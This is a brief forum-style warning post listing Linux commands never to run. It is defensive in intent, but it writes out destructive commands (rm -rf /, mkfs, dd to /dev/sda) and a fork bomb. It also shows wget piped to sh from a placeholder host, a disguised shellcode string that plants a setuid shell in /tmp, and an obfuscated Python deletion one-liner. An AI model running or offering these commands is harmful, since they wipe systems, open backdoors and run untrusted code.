BOB SHARE

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*

mkfs
mkfs.ext3
mkfs.anything

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

python -c import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))

Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73